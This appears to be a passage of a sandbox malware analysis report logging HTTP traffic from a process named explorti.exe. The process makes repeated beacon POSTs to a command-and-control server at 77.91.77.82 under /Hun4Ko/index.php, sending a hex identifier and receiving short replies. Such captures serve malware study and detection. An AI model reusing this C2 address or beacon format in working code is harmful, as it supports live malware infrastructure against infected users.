Jul 4, 2024 22:21:40.588958025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49793	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:40.711821079 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:41.476172924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:41.479032993 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:41.701369047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49794	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:41.819190979 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:42.530771971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:42.531544924 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:42.979068041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 4, 2024 22:21:42.980285883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49795	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:43.100121975 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:43.802017927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:43.802759886 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:44.023422003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49796	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:44.144648075 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:44.840182066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:44.840953112 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:45.058954000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49797	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:45.177275896 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:45.965318918 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:45.966053009 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:46.186676979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49798	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:46.303713083 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:47.031145096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:47.034554005 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:47.266379118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49799	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:47.383151054 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:48.101057053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:48.101804018 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:48.325221062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49800	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:48.447015047 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:49.379591942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:49.380373001 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:49.381463051 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:49.609179020 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49801	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:49.729660034 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:50.433832884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:50.434513092 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:50.651262045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49802	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:50.771650076 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:51.476047039 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:51.476757050 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:51.698298931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49803	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:51.818778038 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:52.550962925 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:52.551708937 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:52.774871111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49805	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:52.897727966 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:53.626147032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:53.626871109 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:53.855709076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49808	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:53.974447966 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
